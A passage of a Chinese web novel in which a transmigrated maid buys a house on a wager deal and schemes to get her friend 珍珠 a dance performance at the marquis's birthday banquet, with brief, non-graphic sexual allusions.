周遭环境好了不少,附近租住的多是落魄的文人,只整间房子都是背阳,进去有股潮湿发霉的气味,平日里用水,得走到街头的水井打水。
开价三十两可入手,祝谣将它留作备用。
……
来到最后一间民居,离城门已经有两刻多钟的路程了,祝谣还未走近,便眼前一亮。
整间屋子沐浴在日光之下,像是长在了她的心巴上,门前的篱笆,院内的小水井,还有墙上郁簇的爬山虎。
祝谣大概看过里边的布局,灶房、内室、摆了饭桌和供案的小厅……麻雀虽小,五脏俱全。
“此处被风水大师批为宝地,原价上千两都有人要,只是因主人家的两个儿子为争家产,大打出手,双双身亡,后来孙子也跟着步上他们父亲的老路,相继死后,再无人买了。”
祝谣心思活泛起来:死的都是男丁,必是此处阳气太盛,一山不容二虎,正需要她的阴气来镇镇!
“多少钱?”她问道。
顾茂生深谙话术,礼貌地笑道:“给您打个优惠,里边的家具原封不动送您,不还价,只需七十二两,您就是这间民宅的主人了。”
29. 第二十九章
“今日是我生辰,公子可有祝福送与我?”祝谣厚着脸皮道。
言外之意,便是期许他再便宜点。
顾茂生愣了一下,显然这对他来说是意外状况。
他犹豫着看向自家老奴,眼中满是“不可,不可”,尔后对祝谣飞快地说了句:“祝您生辰快乐。”
好罢,看来没得商量。
不愧是生意人,即便看上去再是纯良,趋利是本性。
这处民居附近住的多半是富商乡绅,屋子建了好几进,虽然相比起来,要入手的民居有些寒酸窄小了,但是安全问题应该不必担心。
而且曾经在屋内死的人都是由家庭内部矛盾导致的,并非是流匪强盗动的手。
可是祝谣算来算去,加上当掉一些值钱的物件,也只能凑个十五两……她自己的卖身契都赎不回来!
最终,祝谣磨烂嘴皮子,便宜了十二两,同时提前付了五两,让顾茂生接下来的三个月内,不再招揽潜在买家前来观房。
若在三个月之后,她无法交付剩余的六十五两,已经交出去的五两不退,民居对外开放,她要想再买,就得付八十两!
没错,这是对赌协议!
这意味着,她只有三个月的时间,凑足四十五两,才能将梦中情房收入囊中。
*
回侯府那日,晴空万里,艳阳高照。
祝谣和茯苓只是两个小人物,归来时自然如水滴坠黄土,激不起半点水花。
走上熟悉的小路,祝谣竟有了几分近乡情怯。
前脚方踏进半步,后脚系统便传话道:“请协助珍珠在裴执鹤的生辰宴上一鸣惊人,谋得裴执鹤的关注,进而互相确定情意。”
祝谣顿了顿,如此说来,珍珠现下不是随身伺候裴执鹤了?否则怎么还要特意寻个机会表现。
她还未走近,便听到耳房内传来一串笑声。
“连翘姐姐真是好手艺,这结我昨个想了一日都解不开,腆着脸找上姐姐,一会子功夫就解开了!”小翠嘴甜道。
连翘小得意道:“这亦不难,你懂得如何系结,就懂得如何解开了。”
看来在她去瑞国公府的日子里,连翘有小翠陪着解闷了。
祝谣推门而入时,房内的欢声笑语戛然而止。
她也不尴尬,打了声招呼,便自顾自收拾起来。
“这是我们的小蝉吗?去了瑞国公府一趟,脾气都傲了些,不爱搭理我们了。”小翠笑里藏刀道。
祝谣实话实说:“以往我也不怎么搭理你。”
“你!”小翠揪着帕子,看向连翘,凑过去拉了下她的衣袖,故意问道,“姐姐,蝉儿回来了,那我和她的活计要换回来了吗?”
连翘回道:“侯爷未有不满,便是默认你接替蝉儿,且不用。”
小翠暗自窃喜,三等丫鬟在院里的活计无非是跑腿、洗恭桶、洒扫,其中洒扫是已经是相对轻松的,还能在侯爷面前露面。
她可算不用西跑跑,东跑跑,只为了传话给各管事,又或者搬重物给自己累得够呛。
小翠走后,祝谣拿出檀粉,递给连翘:“我还记得,离府前你说天儿太热,脂粉用用就快没了。”
连翘接过,开盖闻到股自然的玫瑰香,复抬眸嗔道:“还算你有心。”
旋即提道:“小翠那儿你别多想,你还是同我合住。”
祝谣想了会儿,其实也很好理解,连翘需要的是亲信,是左臂右膀,是深耕侯府的帮手,她和连翘志不同,道不合,迟早分道扬镳的。
耳房她今时还能住着,日后怕是要让位子给小翠或者其他人了。
不过也不算坏事……明鉴院的三等丫鬟一个月才拿五百文,倒是激励她该想法子往上爬了。
毕竟她身上还背着四十五两的任务!
“好。”祝谣点头道。
说罢,便按照惯例,准备去灶房提午膳回来。
还是这般没心没肺。
连翘见她毫不在乎的模样,有些恼她,扭头坐下,剪掉帕子上的蔷薇,改绣红艳的玫瑰。
祝谣和花儿碰面,将七白膏送给她,是古代版滋润的护手霜。
“谢谢蝉儿姐姐!蝉儿姐姐好像更好看了!”花儿弯起眉眼,“身上的料子摸起来好滑溜,瑞国公府的丫鬟都能得这么一身好衣裳吗?”
“许是用了山泉水洗衣,所以瞧起来没那么灰扑扑的。”
祝谣又拉着她小声问道:“我听说,珍珠被侯爷厌弃了?”
她特意夸大了说,想探出更多消息。
“谁说的呀?”花儿的眼睛圆圆的,“姐姐你走了不知道,那日清晨,侯爷发现自己又被下药了,大发雷霆,却怎么也找不出下手的人,是福安长公主过来把持局面。”
祝谣配合地作出好奇的反应:“然后呢?”
“那时候我凑不到人群前边,只知道最后把罪名按在了珍珠身上,说她是蓄意下药,打算借子好做姨娘。”
“有证据能定罪吗?”祝谣问道。
“嗐,主子推你出来顶罪,你还能反抗不成?”花儿学着长辈,老态横秋地叹了口气,“其实我也觉着离谱,毕竟珍珠都随身伺候侯爷了,哪还要下药多此一举?”
祝谣不说了解裴执鹤十分,但也能摸准他的一些心思。
他被周围人捧得太高,知道自己生得仙姿玉貌,知道自己无论到何处都是人群的焦点,这令他格外注重颜面和名声。
被下了两回春丨药,他的怒气平息下来之后,便开始考虑堵住众人之口,起码要把自己摆在受害者的位子,才能掩盖他食髓知味、整夜不消停的重欲本性。
简而言之,死装。
“你还没说珍珠现在怎么样了。”祝谣追问道。
花儿小声道:“侯爷默许长公主处置了珍珠,让她呆在红萍院,无令不得出来。”
既不能出门,那便主动送上门。
祝谣解决了午膳,趁着午后府中众人昏昏沉沉之际,悄悄来到红萍院。
“珍珠,我是蝉儿。”她轻轻叩响门扉。
“蝉儿?”珍珠面带喜色地拉着她进来,俄而有些委屈道,“你去这么久,我还以为你不要我……这个姐妹了
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。”
论起来,珍珠落到现在这个境地,也有她的推波助澜。
即使没有系统的任务,祝谣想,她也会帮珍珠重新获得裴执鹤的关注。
当然她不算个富有同情心的姑娘,一切的前提是,她帮珍珠是桩稳赚不赔的生意。
“我出去打探消息了,那郎二公子和侯爷打小便有交情,应该知道侯爷喜欢什么。”祝谣头头是道,“只要知道侯爷喜欢什么,你投其所好,便能回到侯爷身边伺候了。”
不料,珍珠听了你的话,兴致恹恹:“侯爷……他根本不信我,即使我再回到他身边又如何?下一次还是会被赶走的。”
不会的!生辰宴之后,你们会开启高频战场,很多很多h和play,每日如胶似漆,掰都掰不开。
祝谣当初只拣着大开大合的部分阅读,对生辰宴后的大肉记忆尤深。
原书男女主互相确认了情意之后,如洪水决堤,一发不可收。
从厅后小房,再到湖边假山,两人一路做着回到卧房,颠鸾倒凤,不知斗转星移,不知天地为何物。
祝谣赶忙问道:“难道你放得下侯爷吗?我能看出,你心里还是有他的。”
珍珠心口一颤,转过半个身子:“我只是个丫鬟,侯爷将来还要娶名门淑女,同我厮混才是害了他。”
祝谣微诧,也许是对限制文的刻板印象,她总觉得里边的人物难得有常人的思维和理智。
倒是她狭隘了。
“如今我在这府中有你和昌安,也不算是无依无靠了。”珍珠眼角挂着泪,握紧你的手,“你会一辈子对我好的?”
祝谣暂且将纠正她从旁人身上汲取温暖和爱意供养己身的念想滞后,站起身,踌躇道:“我……”
“你不喜欢我了吗?”珍珠慌神道。
“不是……珍珠,我、我欠了债。”祝谣扶额痛苦道,“我就是没忍住,赌了几把,欠下四十五两。
你听我说,我不要你的钱,这是我的债,不需要你帮我。我只想靠自己的双手来还清。”
珍珠揪心道:“你这样干一辈子丫鬟都还不清的呀!侯爷打赏了我不少好东西,你就拿去罢!”
见祝谣油盐不进,她急得直掉眼泪:“你还不清怎么办?会不会被赌坊的人抓去剁了指头?鲜血淋漓的,你还会发高烧,烧得不省人事……”
越说越瘆人了,祝谣一个激灵,止住她的臆想。
“别说我了,事情总有转机的。我看你都瘦了。”她扶着珍珠坐下,心疼道,“要是我在你身边,肯定会盯着你好好吃饭,再是心情不振,也不能虐待自己。”
说者有心,听者亦有心,珍珠停了啼哭,眼眸一亮:“我知道了,我去讨侯爷的欢心,到时候就调你来我身边伺候,这样你月钱就能拿一两银子,再有我的打赏,肯定能还清的!”
祝谣松了口气,面上却犹豫道:“你不用为了我勉强自己,你的意愿才是最重要。”
“我愿意。”珍珠抚摸着祝谣掌心的茧子,俄而将莹白的脸颊贴了上去,喟叹道,“只要你没事,我什么都愿意。”
30. 第三十章
祝谣不动声色地抽出自己的手,将话往正轨上拉:“既是决心要讨侯爷欢心,便不能半途而废,你想明白了吗?”
“嗯。”珍珠轻声道,“我想明白了,今朝有酒今朝醉,曾经拥有比从未拥有,总能多些回忆。”
祝谣拍了拍她的肩:“好,我会陪着你的。现在我们要开始琢磨,怎么才能在侯爷的生辰宴上,让你惊艳四座,其实不外乎是展现一个突出的才艺,你……”
她顿了顿,随即想到珍珠是被买进府里的,身上穿着寻常,几乎素面朝天,应也不是出身在富庶人家,哪里能学才艺?
此时,珍珠犹豫道:“我学了点胡旋舞……但也只是听得懂节拍,勉强跳完一曲。”
“真的吗?”不管三七二十一,祝谣先狠狠地给她肯定,“我幼时在庙会上见过,那些胡人的舞姿急转如风,转起圈来都不会晕的,你能坚持跳完整首曲子,好生厉害!”
“谢、谢你。”红霞染上双颊,珍珠羞涩道。
祝谣盘算起来,在生辰宴上跳胡旋舞,能否击中裴执鹤的心扉?
洛都乃天下正统所在,推崇的舞种讲究形态的优美和细腻的神韵,胡旋舞由西域传进,虽堪堪被达官贵族容纳,但他们总是为标榜自己的高贵,在欣赏过后,给它再扣上“难登大雅之堂”的帽子。
裴执鹤的生辰宴,太后绝对会来。
祝谣沉思道:这可有些难办了。
“蝉儿,你要做我的第一个看客吗?”祝谣的话语给了珍珠很大的鼓舞,她鼓足勇气,邀请道。
存了考察珍珠舞蹈功力的祝谣点点头,应道:“好啊。”
房内施展不开,珍珠便带着祝谣来到院里的一处角落。
光线被枝条绿叶遮掩得细碎,斑驳地落在珍珠发间、脸颊和肩胛上,莹莹生辉。
只听她自哼着曲调,手翘三指,双袖高举,脚步灵动转换着,像雪花于空中飘摇,左旋右转不知疲。
祝谣发现她的神情也变得动人心弦,宛如蒙尘的明珠终于拂去灰暗,得以璀璨夺目。
珍珠旋转得愈来愈快,愈来愈轻盈,小调已然飘忽,却并不杂乱,及至一个跳跃,这出舞蹈迎来了完美的收尾。
必须想法子给她一个舞台!
祝谣现时不担心裴执鹤会否喜欢胡旋舞了,她相信,只要珍珠在生辰宴上的表现能还原今日的一半,加上服饰、鼓乐、灯烛等等渲染,裴执鹤必定上钩!
“太美了!”祝谣鼓掌道,“珍珠,这是你自学的吗?”
珍珠喘着气,摇摇头,却也没有要解释的意思。
祝谣压下疑惑,转而继续鼓励道:“这段日子你有空便多练练,其余的你不用操心。”
“谢谢。”珍珠眼眶微红。
祝谣不大会应对煽情的场面,干巴巴地道了句“不客气”,脚底生风般跑出了红萍院。
接下来她打算去寻昌安。
一是提醒他,关心珍珠是好事,但在侯府里,他的关心容易害人害己,千千万万把握好分寸;
二是从他那儿打探消息,譬如生辰宴谁来主持、在哪儿开席、会请什么班子献艺……他好歹是裴执鹤的亲信,总该有点能耐。
*
昌安正抬着一桶冰,艰难地倒进浴盆。
侯爷自第二回中了合欢散之后,毒素似乎已经深入,难以清除,每到午时,即日中之际,浑身高热不止。
这种热不至于令裴执鹤倒头昏睡不起,却会使他如同被蚁虫啃咬,下意识寻求发丨泄的出口。
“出去。”
裴执鹤闭着眼,眉头紧蹙,脖颈上青筋突起,忍耐流窜于全身的酥丨麻。
昌安垂首,快步出去给他关上了门。
冰块浮于水面,只给裴执鹤带来片刻的舒缓,紧接着而来的,是体内激流更加猛烈的进攻。
它如鱼得水般,一会儿沿着脊骨,冲
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动地甩尾游至头颅后部,一会儿又摆尾调头,似千尺瀑布,飞跃蹿下。
裴执鹤自小到大,只读圣贤书,克制私欲,使言行合乎礼的规范,如今却连着栽了两道。
这令他恼火之余还有些难堪和迷茫。
他不知该如何独自面对扰乱理智的根丨源。
裴执鹤近身多是由小厮伺候,他们虽为主仆,但年纪相仿,身体上的变化几乎只是前后脚来的。
府中规矩严,小厮们知晓裴执鹤同他们不一样,听阳春白雪,喝琼脂玉露,心中自有高尚真理,哪里敢把诸如《深宫春色》、《怜香伴》、《二九龟》这等杂书与其分享,只私下互相传阅。
裴执鹤有回午觉醒来,恰巧抓住了一个看得正入迷的小厮,他未有出声,只默默站在廊柱后,随他看了大半。
翌日,他便成长了。
可裴执鹤到底没学会自我排解。
眼下的情形时,若他不努力一把,那这毒素便会一直潜伏在身体里,愈久愈烈。
裴执鹤咬牙,溢出闷哼,水花四溅,已然分不清胸膛前沾染的是清水还是浑液。
……
昌安任劳任怨,将浴盆里的水分多次倒掉,再给裴执鹤点燃静心香。
踏出第一步之后,裴执鹤脸色却不大好看。
似乎过于快了,竟比他与珍珠在一起时,还要快上许多。
这般想着,他脑中忽而闪过一具软香白玉的肌体,重新凝聚起来的道心岌岌可危。
他吸了口熏香,脑子清醒着,身体却诚实地表达出要沉沦的意图。
裴执鹤仰躺在榻上,倏忽探到一方手帕,他拿到眼前,定定地看了帕角的三色堇少顷,继而放了下去,望着帐顶的山水墨画沉沉浮浮。
……
祝谣回来时,见到昌安鬼鬼祟祟地从主卧出来。
她立即跟了上去,自背后探出手,拍了下他的肩:“做贼去了?”
31. 第三十一章
昌安吓得一跳,迅速团起帕子塞进腰带,环顾四下,只见她一人,才松了口气,旋即神色不自然地说:“不是,是侯爷吩咐我去、去……”
“吩咐你去送东西给珍珠?”祝谣接着话茬道。
看来裴执鹤心里确实念着珍珠。
“呃、是……是的罢。”昌安心虚道。
祝谣瞧出他的不对劲,带着他来到树后隐蔽处,语气一沉道:“我不知晓你和珍珠之间有怎么样的过往,但是说句难听的,珍珠心系侯爷,侯爷显然也想着她,你掺和进去也讨不了好。”
昌安直呼冤枉:“我当真只把她当作妹妹。”
“那你先前给珍珠好吃好喝的送着,是奉了侯爷之命吗?”祝谣追问道。
“除了侯爷第一回中招后那段时日,是我自个的想法,你也瞧见了,我没有越矩的举动,再之后便是我揣摩了侯爷的心思才送的。”昌安想了想,这问题他解释过一遍,如今再提必有不妥,于是问道,“是不是有谁说闲话了?”
“暂时没有。如果侯爷还不肯跨出第一步,承认对珍珠的感情,将其拢在自己的大伞下照拂,应该就要有了。”
祝谣说着风凉话,把昌安一急:“那快想想法子,最好能让侯爷非珍珠不可,就认定是她了!这样我捎带什么给珍珠,也不用偷偷摸摸的了。”
“点子我倒是想到了一个,只是成不成,也不好说——”祝谣拉长语调道。
昌安不愧是裴执鹤身边最受宠信的小厮,立马想通关窍:“需要我帮忙是不是?”
祝谣点头:“我和珍珠商量好,要在侯爷的生辰宴上献舞,如此一来,我需要晓得有关宴席的所有消息——首先,这生辰宴要在哪里摆?”
裴执鹤年年生辰宴,举办的像是巡回演唱会似的,可谓费尽心思,去岁因行冠礼,故而设在宫中。
献舞讲究氛围,烘托到位了,便是青蛙也能咂摸出几分清秀。
皇宫殿宇富丽堂皇,烛火明亮,可比空中月,打光效果最佳;府邸私宅的规格虽抵不过,但小而精美,柔和之下亦有朦胧美。
珍珠的舞裙也要随之调整颜色的搭配。
“这么近,那么美,休沐到城北啊。”昌安说了一句顺口溜,“宫里递了消息出来,今年在城北的小汤山给侯爷庆生。”
顺口溜的由来,离不开今年的政令。
洛都经过几任帝王,一改前朝末年萧条凋敝之状,人口愈发膨胀,在住房紧张的情形下,圣上释放城北部分土地,以供百姓按需买入。
侯爷名声大,明晃晃一个金字招牌,将生辰宴设在小汤山,也是存了炒热地皮的心思。
论起来,祝谣看中的民宅,离那儿并不远。
“又要露天设宴?”
“是啊,太后难能出宫一趟,不想拘在屋子里,那小汤山不高,又有碧湖,边赏景边开宴,也是美事。”
“那这宴席是张总管操办?”
“有福安长公主在,张总管都插不上手呢。”
这倒是有些难办了……祝谣思索着昌安能帮上忙的可能性:“你知道长公主有敲定的曲目吗?”
“……蝉儿姑娘,我是侯爷身边的亲信,不是长公主身边的,何况这些消息要是被泄露,对侯爷来说,就不够惊喜了。”昌安苦着脸道。
祝谣木着脸道:“你比我设想中还要一无所有些。”特指无用。
她想,昌安更加没本事将珍珠塞进表演的队伍中,在福安长公主的眼皮子底下鱼目混珠了。
这时,云锦循着声音找了过来。
“这是在做什么?”她的目光在昌安和祝谣之间徘徊。
“他欠我钱,现在要还钱给我,但是不敢叫旁人瞧见。”祝谣脸不红,心不跳,继而伸出手道:“给我罢。”
她届时还得为珍珠重新获宠殚精竭虑,鞠躬尽瘁,中间或有用到钱的地方,提前收点银钱不过分罢?
“……瞧清楚了,这是一两银子。”昌安配合地露出郁卒的神色,放到她的手心,“别说出去!”又瞄了云锦几眼,才有些忿忿地走了。
祝谣装好银钱,颇有礼节地向云锦蹲身问道:“不知云锦姑娘找我有什么事?”
云锦未有对她和昌安之间的官司多说什么,只笑道:“长公主召见,还请随我去一趟鸣莱院。”
*
祝谣借口整理仪容,将棉布包绑在膝盖上,见了长公主,麻溜地自行跪下。
“奴婢见过长公主。”
“起来罢。”
福安对她观感甚佳:识趣、口严、本分。
虽说脑子不大灵光,但她和恭平身边不需要太会算计的下人,那玲珑就是心眼子多,还是出身寿康宫,她才不愿收拢。
“看你也是女子爱打扮的年纪,怎么头上这么素?”福安露了笑,也挤出几分慈和,“恭平那儿有几副戴旧首饰,扔了也是可惜,今个便赏你了。”
得了令的绮罗,趾高气昂地端着托盘走到祝谣面前。
祝谣便见其上应是按华丽程度,从左到右依次摆了鎏金花卉鸾鸟钗、银筐宝钿蝴蝶钗、缠枝鸳鸯钗、珊瑚耳坠。
她几乎没有犹豫,径自拿起末尾的耳坠——珊瑚有瑕疵,有小颗粒,也并不润红,应该不是恭平郡主所佩戴日常饰品,但长公主看到,心里会更加服帖。
“慢着,本宫倒是觉得,那支鸳鸯钗才衬你。”福安主动提高了祝谣的赏赐等级。
“是。”祝谣手往左偏去,拿起缠枝鸳鸯钗,表面感激涕零道,“奴婢谢长公主,谢恭平郡主。”
福安挥手,堂内的奴仆退下。
镶珠凤头履停在祝谣布鞋的前几寸,福安轻而易举地抽出她握住的钗子,在她的发髻间比划。
祝谣比她高半个头,此刻只能弯下脖颈,迁就她。
两人近到连呼吸声都能听得分明,她的脸颊倏忽感到冰凉,借用余光睄去,长公主身上佩戴的饰品晃动着,泛着磷光。
她忍着痒意,紧接着头皮一疼,福安正噙着笑,缓缓将钗子的尖端插入髻发。
“好了,嗯——好看。”
这磨刀子似的折磨得以结束,祝谣只讷讷道谢,便沉默地站着。
又过了一会儿,福安觉得恩威并施的火候差不多了,终于进入正题,问道:“你与昌安走得很近?”
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云锦立在一旁,要是说不是,估摸长公主也不信,祝谣便道:“有点交情,之前侯爷中药,奴婢和昌安一同在廊下守夜。”
福安皱眉:“本宫不是问你这个……既是有交情,你有没有听他提起过,你家侯爷对什么有兴致?”
太后今年点了她来筹备生辰宴,她便得提起十二分精神应对,但年年来宁远侯府小住,毕竟不是自己生的,她倒真不清楚鹤儿的喜好。
侯府的家奴们说不出个有用的消息来,昌安和张总管又是鹤儿的亲信,不能惊动,故而她只能找来蝉儿碰碰运气。
裴执鹤喜好什么,祝谣不知道也不关心,但长公主对此一无所知,岂非如一张白纸任她描绘?
“奴婢未曾听过昌安提起。”祝谣略作回忆貌,顿了顿,“只有一点,昌安说侯爷自洛都长大,以前过云游四方,见识西域、大理、琉球等等地方的风土人情。”
福安闻言,似乎有些困惑于光风霁月的裴执鹤,竟有这等志向?
祝谣住了嘴,也不能再多说甚麽,只能期许长公主能联想到可以请西域来的舞蹈班子献舞。
一直安静坐着的恭平忽然开口:“母亲,表哥许是看腻了洛都的歌舞,我们不妨寻些异域风情的舞者,在生辰宴上献艺?前阵子有一支从米国来的乐团,倒是正好。”
“这……”福安不敢即刻答应,“太后会否不喜?”
“生辰宴是筹备给表哥的,不是太后。”恭平道。
“我再想想……”
“确要细细考虑,那女儿便不打扰母亲了。”
恭平行了礼,出去时,眼眸落到祝谣身上,云锦和绮罗领会,便顺道捎走祝谣,一并带去了郡主的居处。
“放轻松,我叫你来,不是要你为我做事的。”恭平轻笑道,“也不是打探表哥的消息。”
“我只问你,你方才所说,可有假?”
祝谣避而不谈,只道:“奴婢只是明鉴院里洒扫的丫鬟,平日连侯爷的衣角都见不着,当真不知晓他的偏好。”
“罢了,即便不是,我也会替你圆上的。说来我还要谢谢你。
原先母亲想我在宴上献舞,练舞练得我浑身酸痛,如今好了,若是请了外域来的乐团,母亲是不会让我学他们的舞蹈,我也不用献艺了。”
躲过母亲的撮合,恭平心情愉悦:“说罢,想要甚麽奖赏,但凡我能做到的,我便满足你。”
祝谣边听,边捋清大致的状况——恭平郡主似乎不愿在裴执鹤面前表现,可以说,是对他没有男女之间暧昧的遐想?
那捧珍珠出风头,恰好顺了恭平的意!
祝谣掩下激动,追问道:“郡主此话当真?”
“郡主,她目中无人,竟敢讨要好处!”绮罗忿忿道,“侯爷多好啊,您怎么就不……”余下的话,在看到郡主的脸色后,自动被她咽了下去。
恭平颔首道:“当真。”
她一早便顿悟了,表哥不再是她憧憬的未来夫君。
她的夫君不必学富五车,不必弓马娴熟,但必须守身如玉。
“那奴婢……求郡主一事。”祝谣乌眸发亮道。
32. 第三十二章
祝谣在蒙骗和隐瞒之外,选择了有保留的坦白,请求恭平郡主将珍珠安排进乐团,跟练一段时日。
“这其实也不难。”恭平挑眉笑道,“有趣。既然都练舞了,不如连后头的献艺也一并包了,而且我还能让她出现在宴席上。”
她对珍珠并无恶意,见她有心表现,重获宠爱,便伸手助她一把,帮人亦是帮己。
祝谣这会子一改沉默,拣着好话奉承起恭平,舌头不带打结,直将绮罗气得暗骂马屁精。
恭维的话便是要平日里或严肃或寡言的人说,那才感觉格外舒坦。恭平乐不可支道:“回去等着罢,事成我会派人告知你们的。”
……
【珍珠复宠计划】
大致思路及目标:助力珍珠于裴执鹤生辰宴上献胡旋舞,争取惊艳裴执鹤。
实际行动:
一、获得上台献艺的机会;
二、定制独特的舞衣;
三、监督珍珠练舞。
祝谣在脑中复盘自己的计划。
恭平郡主大善,只要静候其佳音,基本上达成第一点,同时,还收获了意外之喜,为珍珠练舞添了[名师指导]buff。
这多少给了祝谣一些正面反馈,有动力继续四处奔忙。
只是祝谣想起系统布置的任务里,最紧要的部分应该是“互相确认情意”。
她已然记不清书中裴执鹤和珍珠在生辰宴结束后,是先云雨再定情,还是先定情再云雨。
结合裴执鹤的人设,祝谣偏向假设为前者。
肉丨体上带来的欢愉乃一时,激情退却是冷静,裴执鹤真能在清醒的状况下亲口承认自己的心意吗?
须得有戳中心坎的举动,推他一把,才保万无一失。
于是祝谣决定加上一条待办事宜:让珍珠做一件令双亲亡故的裴执鹤感动的事。
直至入夜,她都未想出好法子,遂暂且搁置一旁,打算专注于给珍珠定制合适的舞裙。
恭平郡主会帮忙解决宴会入场的资格问题,那么准备舞衣这等小事,祝谣是不会再去打扰她了。
不过洛都哪家裁缝铺会接制作异域风情的舞裙?
祝谣带着问题来到蘅芜馆。
故事讲完,祝谣未急着走,听到郎钰轻咳的声音,立马倒了杯茶水,殷勤地奉上。
“说罢,有什么事?”郎钰斜睨她道。
祝谣拍马了两句,才问道:“奴婢想问郎君,城中有哪些铺子会接异族人的生意?奴婢想定做一条舞裙。”
郎钰提醒道:“国公府会有师傅上门量衣,我是不需要到店里去的,而且会做国公府生意的铺子,价钱也不实惠。”
看来从他这儿是问不出来了。
祝谣有些懊恼,许是恭平郡主给了自信,她竟昏了头,找上天龙人问这种对他们来说很是愚蠢的问题。
见丫鬟面上流露出失望的神色,郎钰立即指明方向:“婵娟随我来了侯府,她应当能帮到你。”
不会是穿给情郎看的罢?
这下郎钰按捺不住地握紧榻边,唤住了她:“你这衣裳是自己穿的吗?”
“不是,奴婢是打算送给姐妹的。”祝谣停脚,睄了他一眼,“郎君若无事,奴婢便先退下来。”
仿佛搬开压在胸口的一块石头,郎钰松了口气,满手是汗,随她去了。
经郎钰点拨,祝谣筛选出能询问的人选,譬如茯苓、婵娟,甚至花儿等等,体会到了人脉带来的好处。
最后目的地锁定在了洛都城内的百衣街。
街道仅半里长,却聚集了许多手艺出众的绣娘。她们追求质量,精益求精,不在乎需求有多刁钻,只在乎自己能否缝制出独一无二的作品。
根据婵娟的情报,祝谣穿过一棵估摸有上百年历史的参天古树,寻到了百衣街。
这里每一间铺面的布置皆不相近,有的摆满了花卉绿植,营造成绿野仙踪,服饰以清新自然为主,有的墙上泼墨书香,服饰以文秀雅致为主。
如入桃花仙境,祝谣看得目不转睛,只始终没找到符合自己需求的铺子。
及至走到末尾,一间被石榴花遮住大半的小店闯入了祝谣的眼帘。
她立在门口,朝里望去,只见地上铺着波斯毛毯,白墙挂了几件极具异域风情的服饰,还有盆张牙舞爪的仙人掌,占据了角落。
祝谣心想:就是它了!
甫一进去,坐在梳背椅上的女子,头也未抬,不咸不淡道:“今月不接新客。”
祝谣只觉这声音莫名熟悉,轻步走到她面前——是那日撞到郎钰,趁机偷银钱的扒手!
但见她面纱以外的肌肤皆未施粉黛,发间包着碎花布,气质温和沉静,比起在街上狼狈窜逃的模样,相去甚远。
女子咬掉一根丝线,抬头一瞧,显然也认出了你。
她忆起往事,眼睫低垂,脸颊微红,声线像是含了珠子,略微沙哑模糊:“今月没有空闲时间接额外的活计了,客人还请回罢。”
祝谣不肯放弃,意图打感情牌,反问道:“你还记得我吗?此处是你自己开起来的?”
“不全然是,我拉了贵人扶持,每月给她分红,她便推些生意来,如此才撑过开店后艰难的第一个月,如今也算勉强维持收支平衡。”杜鹃边说,边将碎宝石缝缀到衣裙的收腰处。
“全洛都也没几家是专门做外族人生意的罢?你很聪明,洛都集八方来客,即使需求再小,只要有人来,就不怕赚不了钱。”祝谣诚心夸赞道。
杜鹃却只弯了弯眉眼,不因她说的话而感到自傲,眼眸几乎离不开针线活。
祝谣见套近乎无果,只好软磨硬泡,还给珍珠编了个感人至深的故事,才换来杜鹃些微的松动。
“我手上的活计中,倒是有个西域乐团的,若是做完她们的生意,另有剩余的料子,我可以赶一件出来。”杜鹃无奈道,“不过价钱我是不会给你便宜的,七两,能接受吗?”
“可以可以。”
并未超出自己的最大预算,祝谣欲掏出二两,先定下这个单子。
杜鹃却推了回去,先是带她来到方桌旁,画了大致的样式,将衣料的小样拼接起来,供祝谣选择。
祝谣认为专业的事交由专业的人决策,便大致交代了自己的要求。
杜鹃听后,与她反复磨合,定了红黄为基础色调,其中红色为主调,衣裳的腰身和前胸,届时会绣上亮片点缀。
“我只收一两,也算是还你当日不告发我的恩情。”杜鹃轻柔地笑道,“对了,这衣裳你是定给自己穿的吗?”
祝谣微微蹙眉:怎么和郎钰一般,都问是不是她自己穿的?
她并不自卑于自己的相貌,但也有自知之明,她的身材清瘦,撑不起这种装饰琐碎亮丽的漂亮的裙子。
比起养尊处优的郎钰,祝谣要更加不信任杜鹃。
她留了个心眼,说道:“是啊,下月中旬便要穿了,你能做好吗?”
杜鹃下巴微动:“时间有些紧,不过应当可以,你下月初八来取衣裳就好了。”
祝谣又同她敲定了细节,比如舞裙各部分的尺
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寸等等,才赶在天色渐晚前,回了侯府。
*
不出几日,福安长公主便定下由米国来的欣荣乐团,在裴执鹤的生辰宴上献艺。
珍珠成功被安排进去练舞学艺。
小翠替了祝谣的活计,祝谣乐得清闲,便镇日往红萍院跑去。
两人如今的境遇是半斤八两,旁人瞧见也只嘀咕几句,并不在意。
因珍珠对自身实力、对练舞时要面对的陌生环境而感到害怕和焦虑,祝谣于是腆着脸向恭平郡主请求陪同外出,好在被应允了。
清晨,祝谣多打了一份早膳,轻手轻脚地放下连翘的那份,尔后拎着剩下两份,来到珍珠的住处。
今日是珍珠第一回参加练习和排演。
珍珠早早洗漱干净,两手互相揪着,呢喃道:“我可以吗?一个月的时间会不会太急了?乐团里的人万一不好相处怎么办?”
听到门外传来动静,她如梦初醒般拉了祝谣进来,摸上她的手臂,像幼鸟归巢般,将头埋进祝谣的脖颈:“蝉儿,怎么办?我怕自己会失败,会辜负了你的期望……”
颈间一片滚烫,祝谣被她拽出了汗意。她缩了缩脖子,一手提着食盒,一手拖着女子,走到了圆桌边。
“不用想那么多,我会陪着你的。再说失败了便从头来过,没什么大不了的。”祝谣轻拍她的后背,耐心哄道,“快来吃早膳,不然还未到中午,你便要累得昏倒了。”
珍珠蜷缩在她的怀中,渐渐平稳下来,却抱着祝谣不愿放开,直至祝谣试探着将粥喂到她唇边,这才张了嘴,露了笑。
……
一到乐团的住处,珍珠的担忧便尽数消散了。
她身材丰腴,肉长得恰到好处,跳起胡旋舞是相得益彰,艳丽而不下流。
那些有着褐发碧眼的姑娘们,热情大胆,看着珍珠的眼神,让旁观的祝谣差点误以为原书女主是块掉进妖精窟的唐僧肉。
她们不会吝惜任何肢体接触,休息的间隙,个个凑到珍珠周围,诸如捏丨胸、拍臀、亲吻脸颊等,闹得珍珠每日都面红耳赤的。
还有的见不得祝谣落单,上下打量了她一番后,继而流露出同情怜悯的神色,拉着她耐心地传授如何丰丨胸的秘诀。
一日下来,不仅珍珠疲累,祝谣也觉沧桑了些年岁。
“好痛。”珍珠揉着腰侧的肌肉,小声道,“可能是太久没拉筋了。”
都是在一条船上的,祝谣可不能让她受伤,便主动道:“待会我替你揉揉。”
“好啊。”珍珠欣喜道,“我那儿有药膏。”
两人同进同出,自然也被瑞香和丹青瞧见。
“看来珍珠可比我们有造化多了。”瑞香收回视线,看向正摆弄着花草的丹青,“我们虽对侯爷没什么感情,但总要在这府上生活下去,如今珍珠有望复宠,不妨去向她示好,日后也有个依靠?”
